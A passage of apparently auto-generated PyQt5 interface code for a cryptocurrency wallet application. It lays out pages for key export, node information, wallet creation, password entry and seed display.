self.verticalLayout_19.addWidget(self.groupBox_7)
self.gridLayout_41.addWidget(self.frame_31, 0, 0, 1, 1)
spacerItem6 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_41.addItem(spacerItem6, 1, 0, 1, 1)
self.stackedWidget.addWidget(self.password_page)
self.export_keys_page = QtWidgets.QWidget()
self.export_keys_page.setObjectName("export_keys_page")
self.gridLayout_55 = QtWidgets.QGridLayout(self.export_keys_page)
self.gridLayout_55.setObjectName("gridLayout_55")
self.frame_38 = QtWidgets.QFrame(self.export_keys_page)
self.frame_38.setStyleSheet("QScrollBar:vertical {\n"
" border: 0px solid #999999;\n"
" background:white;\n"
" width:10px; \n"
" margin: 0px 0px 0px 0px;\n"
" }\n"
" QScrollBar::handle:vertical { \n"
" \n"
" min-height: 0px;\n"
" border: 0px solid red;\n"
" border-radius: 4px;\n"
" background-color: black;\n"
" }\n"
" QScrollBar::add-line:vertical { \n"
" height: 0px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
" }\n"
" QScrollBar::sub-line:vertical {\n"
" height: 0 px;\n"
" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
" }")
self.frame_38.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_38.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_38.setObjectName("frame_38")
self.gridLayout_56 = QtWidgets.QGridLayout(self.frame_38)
self.gridLayout_56.setObjectName("gridLayout_56")
self.groupBox_11 = QtWidgets.QGroupBox(self.frame_38)
self.groupBox_11.setTitle("")
self.groupBox_11.setObjectName("groupBox_11")
self.verticalLayout_25 = QtWidgets.QVBoxLayout(self.groupBox_11)
self.verticalLayout_25.setObjectName("verticalLayout_25")
self.frame_40 = QtWidgets.QFrame(self.groupBox_11)
self.frame_40.setMinimumSize(QtCore.QSize(0, 65))
self.frame_40.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_40.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_40.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_40.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_40.setObjectName("frame_40")
self.gridLayout_58 = QtWidgets.QGridLayout(self.frame_40)
self.gridLayout_58.setObjectName("gridLayout_58")
self.label_30 = QtWidgets.QLabel(self.frame_40)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_30.setFont(font)
self.label_30.setStyleSheet("")
self.label_30.setObjectName("label_30")
self.gridLayout_58.addWidget(self.label_30, 0, 0, 1, 1)
self.verticalLayout_25.addWidget(self.frame_40)
self.line_14 = QtWidgets.QFrame(self.groupBox_11)
self.line_14.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_14.setFrameShape(QtWidgets.QFrame.HLine)
self.line_14.setObjectName("line_14")
self.verticalLayout_25.addWidget(self.line_14)
self.frame_50 = QtWidgets.QFrame(self.groupBox_11)
self.frame_50.setMinimumSize(QtCore.QSize(0, 80))
self.frame_50.setMaximumSize(QtCore.QSize(16777215, 80))
self.frame_50.setStyleSheet("QFrame#frame_50{border-radius: 4px;}\n"
"")
self.frame_50.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_50.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_50.setObjectName("frame_50")
self.gridLayout_71 = QtWidgets.QGridLayout(self.frame_50)
self.gridLayout_71.setContentsMargins(-1, 0, -1, 0)
self.gridLayout_71.setObjectName("gridLayout_71")
self.label_31 = QtWidgets.QLabel(self.frame_50)
self.label_31.setMinimumSize(QtCore.QSize(0, 0))
self.label_31.setMaximumSize(QtCore.QSize(16777215, 16777215))
font = QtGui.QFont()
font.setPointSize(15)
self.label_31.setFont(font)
self.label_31.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_31.setWordWrap(True)
self.label_31.setIndent(0)
self.label_31.setObjectName("label_31")
self.gridLayout_71.addWidget(self.label_31, 0, 0, 1, 1, QtCore.Qt.AlignVCenter)
self.verticalLayout_25.addWidget(self.frame_50)
self.treeWidget = QtWidgets.QTreeWidget(self.groupBox_11)
font = QtGui.QFont()
font.setFamily("Futura")
self.treeWidget.setFont(font)
self.treeWidget.setStyleSheet("border-radius: 4px;\n"
"background-color: rgb(201, 207, 207);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"")
self.treeWidget.setFrameShape(QtWidgets.QFrame.NoFrame)
self.treeWidget.setIndentation(0)
self.treeWidget.setAllColumnsShowFocus(True)
self.treeWidget.setWordWrap(True)
self.treeWidget.setObjectName("treeWidget")
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setUnderline(False)
font.setWeight(75)
self.treeWidget.headerItem().setFont(0, font)
self.treeWidget.headerItem().setBackground(0, QtGui.QColor(207, 223, 254, 194))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.treeWidget.headerItem().setFont(1, font)
self.treeWidget.headerItem().setBackground(1, QtGui.QColor(207, 222, 254, 194))
item_0 = QtWidgets.QTreeWidgetItem(self.treeWidget)
self.treeWidget.header().setCascadingSectionResizes(True)
self.treeWidget.header().setHighlightSections(True)
self.treeWidget.header().setMinimumSectionSize(20)
self.treeWidget.header().setStretchLastSection(True)
self.verticalLayout_25.addWidget(self.treeWidget)
self.label_32 = QtWidgets.QLabel(self.groupBox_11)
self.label_32.setStyleSheet("font: 16pt \'Helvetica\';\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_32.setObjectName("label_32")
self.verticalLayout_25.addWidget(self.label_32)
self.radioButton = QtWidgets.QRadioButton(self.groupBox_11)
self.radioButton.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.radioButton.setObjectName("radioButton")
self.verticalLayout_25.addWidget(self.radioButton)
self.radioButton_2 = QtWidgets.QRadioButton(self.groupBox_11)
self.radioButton_2.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.radioButton_2.setObjectName("radioButton_2")
self.verticalLayout_25.addWidget(self.radioButton_2)
self.frame_41 = QtWidgets.QFrame(self.groupBox_11)
self.frame_41.setStyleSheet("")
self.frame_41.setFrameShape(QtWidgets.QFrame.StyledPanel)
self.frame_41.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_41.setObjectName("frame_41")
self.gridLayout_59 = QtWidgets.QGridLayout(self.frame_41)
self.gridLayout_59.setObjectName("gridLayout_59")
self.file_loc_btn = QtWidgets.QPushButton(self.frame_41)
self.file_loc_btn.setObjectName("file_loc_btn")
self.gridLayout_59.addWidget(self.file_loc_btn, 0, 0, 1, 1, QtCore.Qt.AlignLeft)
self.lineEdit = QtWidgets.QLineEdit(self.frame_41)
self.lineEdit.setMinimumSize(QtCore.QSize(0, 35))
self.lineEdit.setMaximumSize(QtCore.QSize(16777215, 35))
self.lineEdit.setStyleSheet("background-color: rgb(253, 253, 255);")
self.lineEdit.setObjectName("lineEdit")
self.gridLayout_59.addWidget(self.lineEdit, 0, 1, 1, 1)
self.verticalLayout_25.addWidget(self.frame_41)
self.gridLayout_56.addWidget(self.groupBox_11, 0, 0, 1, 1)
self.gridLayout_55.addWidget(self.frame_38, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.export_keys_page)
self.information_page = QtWidgets.QWidget()
self.information_page.setObjectName("information_page")
self.gridLayout_154 = QtWidgets.QGridLayout(self.information_page)
self.gridLayout_154.setObjectName("gridLayout_154")
self.frame_116 = QtWidgets.QFrame(self.information_page)
self.frame_116.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_116.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_116.setObjectName("frame_116")
self.gridLayout_156 = QtWidgets.QGridLayout(self.frame_116)
self.gridLayout_156.setObjectName("gridLayout_156")
self.groupBox_25 = QtWidgets.QGroupBox(self.frame_116)
self.groupBox_25.setTitle("")
self.groupBox_25.setObjectName("groupBox_25")
self.verticalLayout_27 = QtWidgets.QVBoxLayout(self.groupBox_25)
self.verticalLayout_27.setObjectName("verticalLayout_27")
self.frame_117 = QtWidgets.QFrame(self.groupBox_25)
self.frame_117.setMinimumSize(QtCore.QSize(0, 65))
self.frame_117.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_117.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_117.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_117.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_117.setObjectName("frame_117")
self.gridLayout_155 = QtWidgets.QGridLayout(self.frame_117)
self.gridLayout_155.setObjectName("gridLayout_155")
self.label_93 = QtWidgets.QLabel(self.frame_117)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_93.setFont(font)
self.label_93.setStyleSheet("")
self.label_93.setObjectName("label_93")
self.gridLayout_155.addWidget(self.label_93, 0, 0, 1, 1)
self.verticalLayout_27.addWidget(self.frame_117)
self.line_27 = QtWidgets.QFrame(self.groupBox_25)
self.line_27.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_27.setFrameShape(QtWidgets.QFrame.HLine)
self.line_27.setObjectName("line_27")
self.verticalLayout_27.addWidget(self.line_27)
self.frame_118 = QtWidgets.QFrame(self.groupBox_25)
self.frame_118.setMinimumSize(QtCore.QSize(0, 0))
self.frame_118.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_118.setStyleSheet("\n"
"QFrame#frame_51{border-radius: 4px;}\n"
"")
self.frame_118.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_118.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_118.setObjectName("frame_118")
self.verticalLayout_20 = QtWidgets.QVBoxLayout(self.frame_118)
self.verticalLayout_20.setContentsMargins(-1, 0, -1, 0)
self.verticalLayout_20.setObjectName("verticalLayout_20")
self.label_94 = QtWidgets.QLabel(self.frame_118)
self.label_94.setMinimumSize(QtCore.QSize(0, 40))
self.label_94.setMaximumSize(QtCore.QSize(16777215, 40))
font = QtGui.QFont()
font.setPointSize(15)
self.label_94.setFont(font)
self.label_94.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_94.setObjectName("label_94")
self.verticalLayout_20.addWidget(self.label_94)
self.verticalLayout_27.addWidget(self.frame_118)
self.frame_119 = QtWidgets.QFrame(self.groupBox_25)
self.frame_119.setMinimumSize(QtCore.QSize(0, 170))
self.frame_119.setMaximumSize(QtCore.QSize(16777215, 170))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
self.frame_119.setFont(font)
self.frame_119.setStyleSheet("border-radius:4px;")
self.frame_119.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_119.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_119.setObjectName("frame_119")
self.gridLayout_39 = QtWidgets.QGridLayout(self.frame_119)
self.gridLayout_39.setContentsMargins(0, -1, -1, -1)
self.gridLayout_39.setObjectName("gridLayout_39")
self.ver = QtWidgets.QLabel(self.frame_119)
self.ver.setText("")
self.ver.setWordWrap(True)
self.ver.setObjectName("ver")
self.gridLayout_39.addWidget(self.ver, 0, 1, 1, 1)
self.blks_lbl = QtWidgets.QLabel(self.frame_119)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.blks_lbl.setFont(font)
self.blks_lbl.setStyleSheet("\n"
"padding-left: 12px;\n"
"background-color: rgba(255, 255, 255, 0);")
self.blks_lbl.setObjectName("blks_lbl")
self.gridLayout_39.addWidget(self.blks_lbl, 1, 0, 1, 1)
self.bhsh_lbl = QtWidgets.QLabel(self.frame_119)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.bhsh_lbl.setFont(font)
self.bhsh_lbl.setStyleSheet("\n"
"padding-left: 12px;\n"
"background-color: rgba(255, 255, 255, 0);")
self.bhsh_lbl.setObjectName("bhsh_lbl")
self.gridLayout_39.addWidget(self.bhsh_lbl, 6, 0, 1, 1)
self.isync = QtWidgets.QLabel(self.frame_119)
self.isync.setText("")
self.isync.setWordWrap(True)
self.isync.setObjectName("isync")
self.gridLayout_39.addWidget(self.isync, 4, 1, 1, 1)
self.bstp_lbl = QtWidgets.QLabel(self.frame_119)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.bstp_lbl.setFont(font)
self.bstp_lbl.setStyleSheet("\n"
"padding-left: 12px;\n"
"background-color: rgba(255, 255, 255, 0);")
self.bstp_lbl.setObjectName("bstp_lbl")
self.gridLayout_39.addWidget(self.bstp_lbl, 5, 0, 1, 1)
self.blks = QtWidgets.QLabel(self.frame_119)
self.blks.setText("")
self.blks.setWordWrap(True)
self.blks.setObjectName("blks")
self.gridLayout_39.addWidget(self.blks, 1, 1, 1, 1)
self.ver_lbl = QtWidgets.QLabel(self.frame_119)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.ver_lbl.setFont(font)
self.ver_lbl.setStyleSheet("\n"
"padding-left: 12px;\n"
"background-color: rgba(255, 255, 255, 0);")
self.ver_lbl.setObjectName("ver_lbl")
self.gridLayout_39.addWidget(self.ver_lbl, 0, 0, 1, 1)
self.bhsh = QtWidgets.QLabel(self.frame_119)
self.bhsh.setText("")
self.bhsh.setWordWrap(True)
self.bhsh.setObjectName("bhsh")
self.gridLayout_39.addWidget(self.bhsh, 6, 1, 1, 1)
self.bstp = QtWidgets.QLabel(self.frame_119)
self.bstp.setText("")
self.bstp.setWordWrap(True)
self.bstp.setObjectName("bstp")
self.gridLayout_39.addWidget(self.bstp, 5, 1, 1, 1)
self.isync_lbl = QtWidgets.QLabel(self.frame_119)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.isync_lbl.setFont(font)
self.isync_lbl.setStyleSheet("\n"
"padding-left: 12px;\n"
"background-color: rgba(255, 255, 255, 0);")
self.isync_lbl.setObjectName("isync_lbl")
self.gridLayout_39.addWidget(self.isync_lbl, 4, 0, 1, 1)
self.dsync_lbl = QtWidgets.QLabel(self.frame_119)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.dsync_lbl.setFont(font)
self.dsync_lbl.setStyleSheet("\n"
"padding-left: 12px;\n"
"background-color: rgba(255, 255, 255, 0);")
self.dsync_lbl.setObjectName("dsync_lbl")
self.gridLayout_39.addWidget(self.dsync_lbl, 2, 0, 1, 1)
self.dsync = QtWidgets.QLabel(self.frame_119)
self.dsync.setText("")
self.dsync.setObjectName("dsync")
self.gridLayout_39.addWidget(self.dsync, 2, 1, 1, 1)
self.verticalLayout_27.addWidget(self.frame_119)
self.gridLayout_156.addWidget(self.groupBox_25, 0, 1, 1, 1)
spacerItem7 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_156.addItem(spacerItem7, 1, 1, 1, 1)
self.gridLayout_154.addWidget(self.frame_116, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.information_page)
self.new_wallet_page = QtWidgets.QWidget()
self.new_wallet_page.setObjectName("new_wallet_page")
self.gridLayout_101 = QtWidgets.QGridLayout(self.new_wallet_page)
self.gridLayout_101.setObjectName("gridLayout_101")
self.trns_conf_frame = QtWidgets.QFrame(self.new_wallet_page)
self.trns_conf_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.trns_conf_frame.setFrameShadow(QtWidgets.QFrame.Plain)
self.trns_conf_frame.setObjectName("trns_conf_frame")
self.gridLayout_126 = QtWidgets.QGridLayout(self.trns_conf_frame)
self.gridLayout_126.setObjectName("gridLayout_126")
self.groupBox_6 = QtWidgets.QGroupBox(self.trns_conf_frame)
self.groupBox_6.setTitle("")
self.groupBox_6.setObjectName("groupBox_6")
self.gridLayout_127 = QtWidgets.QGridLayout(self.groupBox_6)
self.gridLayout_127.setObjectName("gridLayout_127")
self.frame_99 = QtWidgets.QFrame(self.groupBox_6)
self.frame_99.setMinimumSize(QtCore.QSize(0, 40))
self.frame_99.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_99.setStyleSheet("border-radius:4px;")
self.frame_99.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_99.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_99.setObjectName("frame_99")
self.gridLayout_129 = QtWidgets.QGridLayout(self.frame_99)
self.gridLayout_129.setObjectName("gridLayout_129")
self.label_79 = QtWidgets.QLabel(self.frame_99)
font = QtGui.QFont()
font.setPointSize(15)
self.label_79.setFont(font)
self.label_79.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);\n"
"")
self.label_79.setObjectName("label_79")
self.gridLayout_129.addWidget(self.label_79, 0, 0, 1, 1)
self.gridLayout_127.addWidget(self.frame_99, 2, 0, 1, 1)
self.wllt_cr8_btn = QtWidgets.QPushButton(self.groupBox_6)
self.wllt_cr8_btn.setObjectName("wllt_cr8_btn")
self.gridLayout_127.addWidget(self.wllt_cr8_btn, 3, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.frame_98 = QtWidgets.QFrame(self.groupBox_6)
self.frame_98.setMinimumSize(QtCore.QSize(0, 65))
self.frame_98.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_98.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_98.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_98.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_98.setObjectName("frame_98")
self.gridLayout_128 = QtWidgets.QGridLayout(self.frame_98)
self.gridLayout_128.setObjectName("gridLayout_128")
self.label_80 = QtWidgets.QLabel(self.frame_98)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_80.setFont(font)
self.label_80.setStyleSheet("")
self.label_80.setObjectName("label_80")
self.gridLayout_128.addWidget(self.label_80, 0, 0, 1, 1)
self.gridLayout_127.addWidget(self.frame_98, 0, 0, 1, 1)
self.line_23 = QtWidgets.QFrame(self.groupBox_6)
self.line_23.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_23.setFrameShape(QtWidgets.QFrame.HLine)
self.line_23.setObjectName("line_23")
self.gridLayout_127.addWidget(self.line_23, 1, 0, 1, 1)
self.label_19 = QtWidgets.QLabel(self.groupBox_6)
self.label_19.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_19.setText("")
self.label_19.setPixmap(QtGui.QPixmap("img/PKT.iconset/icon_1024x1024 @2x.png"))
self.label_19.setObjectName("label_19")
self.gridLayout_127.addWidget(self.label_19, 4, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.gridLayout_126.addWidget(self.groupBox_6, 0, 0, 1, 1)
self.gridLayout_101.addWidget(self.trns_conf_frame, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.new_wallet_page)
self.wllt_pwd_page = QtWidgets.QWidget()
self.wllt_pwd_page.setObjectName("wllt_pwd_page")
self.gridLayout_130 = QtWidgets.QGridLayout(self.wllt_pwd_page)
self.gridLayout_130.setObjectName("gridLayout_130")
self.frame_100 = QtWidgets.QFrame(self.wllt_pwd_page)
self.frame_100.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_100.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_100.setObjectName("frame_100")
self.gridLayout_131 = QtWidgets.QGridLayout(self.frame_100)
self.gridLayout_131.setObjectName("gridLayout_131")
self.groupBox_21 = QtWidgets.QGroupBox(self.frame_100)
self.groupBox_21.setTitle("")
self.groupBox_21.setObjectName("groupBox_21")
self.gridLayout_132 = QtWidgets.QGridLayout(self.groupBox_21)
self.gridLayout_132.setObjectName("gridLayout_132")
self.frame_101 = QtWidgets.QFrame(self.groupBox_21)
self.frame_101.setMinimumSize(QtCore.QSize(0, 65))
self.frame_101.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_101.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_101.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_101.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_101.setObjectName("frame_101")
self.gridLayout_133 = QtWidgets.QGridLayout(self.frame_101)
self.gridLayout_133.setObjectName("gridLayout_133")
self.label_82 = QtWidgets.QLabel(self.frame_101)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_82.setFont(font)
self.label_82.setStyleSheet("")
self.label_82.setObjectName("label_82")
self.gridLayout_133.addWidget(self.label_82, 0, 0, 1, 1)
self.gridLayout_132.addWidget(self.frame_101, 0, 0, 1, 1)
self.passphrase_btn = QtWidgets.QPushButton(self.groupBox_21)
self.passphrase_btn.setObjectName("passphrase_btn")
self.gridLayout_132.addWidget(self.passphrase_btn, 5, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.frame_102 = QtWidgets.QFrame(self.groupBox_21)
self.frame_102.setMinimumSize(QtCore.QSize(0, 40))
self.frame_102.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_102.setStyleSheet("border-radius:4px;\n"
"")
self.frame_102.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_102.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_102.setObjectName("frame_102")
self.gridLayout_134 = QtWidgets.QGridLayout(self.frame_102)
self.gridLayout_134.setObjectName("gridLayout_134")
self.label_81 = QtWidgets.QLabel(self.frame_102)
font = QtGui.QFont()
font.setPointSize(15)
self.label_81.setFont(font)
self.label_81.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_81.setObjectName("label_81")
self.gridLayout_134.addWidget(self.label_81, 0, 0, 1, 1)
self.gridLayout_132.addWidget(self.frame_102, 2, 0, 1, 1)
self.frame_103 = QtWidgets.QFrame(self.groupBox_21)
self.frame_103.setMinimumSize(QtCore.QSize(0, 20))
self.frame_103.setStyleSheet("border-radius:4px;\n"
"")
self.frame_103.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_103.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_103.setObjectName("frame_103")
self.gridLayout_135 = QtWidgets.QGridLayout(self.frame_103)
self.gridLayout_135.setObjectName("gridLayout_135")
self.label_83 = QtWidgets.QLabel(self.frame_103)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_83.setFont(font)
self.label_83.setStyleSheet("")
self.label_83.setObjectName("label_83")
self.gridLayout_135.addWidget(self.label_83, 0, 0, 1, 1)
self.lineEdit_2 = QtWidgets.QLineEdit(self.frame_103)
self.lineEdit_2.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.lineEdit_2.setFont(font)
self.lineEdit_2.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.lineEdit_2.setInputMask("")
self.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Password)
self.lineEdit_2.setObjectName("lineEdit_2")
self.gridLayout_135.addWidget(self.lineEdit_2, 1, 0, 1, 1)
self.gridLayout_132.addWidget(self.frame_103, 3, 0, 1, 1)
spacerItem8 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_132.addItem(spacerItem8, 6, 0, 1, 1)
self.line_24 = QtWidgets.QFrame(self.groupBox_21)
self.line_24.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_24.setFrameShape(QtWidgets.QFrame.HLine)
self.line_24.setObjectName("line_24")
self.gridLayout_132.addWidget(self.line_24, 1, 0, 1, 1)
self.frame_120 = QtWidgets.QFrame(self.groupBox_21)
self.frame_120.setMinimumSize(QtCore.QSize(0, 80))
self.frame_120.setStyleSheet("border-radius:4px;\n"
"")
self.frame_120.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_120.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_120.setObjectName("frame_120")
self.gridLayout_160 = QtWidgets.QGridLayout(self.frame_120)
self.gridLayout_160.setObjectName("gridLayout_160")
self.label_84 = QtWidgets.QLabel(self.frame_120)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_84.setFont(font)
self.label_84.setStyleSheet("")
self.label_84.setObjectName("label_84")
self.gridLayout_160.addWidget(self.label_84, 0, 0, 1, 1)
self.lineEdit_11 = QtWidgets.QLineEdit(self.frame_120)
self.lineEdit_11.setMinimumSize(QtCore.QSize(0, 35))
self.lineEdit_11.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.lineEdit_11.setFont(font)
self.lineEdit_11.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.lineEdit_11.setEchoMode(QtWidgets.QLineEdit.Password)
self.lineEdit_11.setObjectName("lineEdit_11")
self.gridLayout_160.addWidget(self.lineEdit_11, 1, 0, 1, 1)
self.gridLayout_132.addWidget(self.frame_120, 4, 0, 1, 1)
self.gridLayout_131.addWidget(self.groupBox_21, 0, 0, 1, 1)
self.gridLayout_130.addWidget(self.frame_100, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.wllt_pwd_page)
self.wllt_done_page = QtWidgets.QWidget()
self.wllt_done_page.setObjectName("wllt_done_page")
self.gridLayout_143 = QtWidgets.QGridLayout(self.wllt_done_page)
self.gridLayout_143.setObjectName("gridLayout_143")
self.frame_109 = QtWidgets.QFrame(self.wllt_done_page)
self.frame_109.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_109.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_109.setObjectName("frame_109")
self.gridLayout_144 = QtWidgets.QGridLayout(self.frame_109)
self.gridLayout_144.setObjectName("gridLayout_144")
self.groupBox_23 = QtWidgets.QGroupBox(self.frame_109)
self.groupBox_23.setTitle("")
self.groupBox_23.setObjectName("groupBox_23")
self.gridLayout_145 = QtWidgets.QGridLayout(self.groupBox_23)
self.gridLayout_145.setObjectName("gridLayout_145")
self.open_wllt_btn = QtWidgets.QPushButton(self.groupBox_23)
self.open_wllt_btn.setObjectName("open_wllt_btn")
self.gridLayout_145.addWidget(self.open_wllt_btn, 6, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.frame_112 = QtWidgets.QFrame(self.groupBox_23)
self.frame_112.setMinimumSize(QtCore.QSize(0, 250))
self.frame_112.setMaximumSize(QtCore.QSize(16777215, 250))
self.frame_112.setStyleSheet("border-radius:3px;")
self.frame_112.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_112.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_112.setObjectName("frame_112")
self.gridLayout_148 = QtWidgets.QGridLayout(self.frame_112)
self.gridLayout_148.setObjectName("gridLayout_148")
self.label_90 = QtWidgets.QLabel(self.frame_112)
self.label_90.setMinimumSize(QtCore.QSize(80, 0))
self.label_90.setMaximumSize(QtCore.QSize(120, 16777215))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_90.setFont(font)
self.label_90.setStyleSheet("")
self.label_90.setObjectName("label_90")
self.gridLayout_148.addWidget(self.label_90, 0, 0, 1, 1)
self.seed_txt = QtWidgets.QTextEdit(self.frame_112)
self.seed_txt.setMinimumSize(QtCore.QSize(0, 200))
self.seed_txt.setMaximumSize(QtCore.QSize(16777215, 200))
self.seed_txt.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.seed_txt.setObjectName("seed_txt")
self.gridLayout_148.addWidget(self.seed_txt, 0, 1, 1, 1)
self.gridLayout_145.addWidget(self.frame_112, 4, 0, 1, 1)
self.frame_110 = QtWidgets.QFrame(self.groupBox_23)
self.frame_110.setMinimumSize(QtCore.QSize(0, 65))
self.frame_110.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_110.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.frame_110.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_110.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_110.setObjectName("frame_110")
self.gridLayout_146 = QtWidgets.QGridLayout(self.frame_110)
self.gridLayout_146.setObjectName("gridLayout_146")
self.label_85 = QtWidgets.QLabel(self.frame_110)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_85.setFont(font)
self.label_85.setStyleSheet("")
self.label_85.setObjectName("label_85")
self.gridLayout_146.addWidget(self.label_85, 0, 0, 1, 1)
self.gridLayout_145.addWidget(self.frame_110, 0, 0, 1, 1)
self.line_25 = QtWidgets.QFrame(self.groupBox_23)
self.line_25.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_25.setFrameShape(QtWidgets.QFrame.HLine)
self.line_25.setObjectName("line_25")
self.gridLayout_145.addWidget(self.line_25, 1, 0, 1, 1)
self.frame_111 = QtWidgets.QFrame(self.groupBox_23)
self.frame_111.setMinimumSize(QtCore.QSize(0, 40))
self.frame_111.setMaximumSize(QtCore.QSize(16777215, 40))
font = QtGui.QFont()
font.setPointSize(16)
self.frame_111.setFont(font)
self.frame_111.setStyleSheet("border-radius:4px;\n"
"")
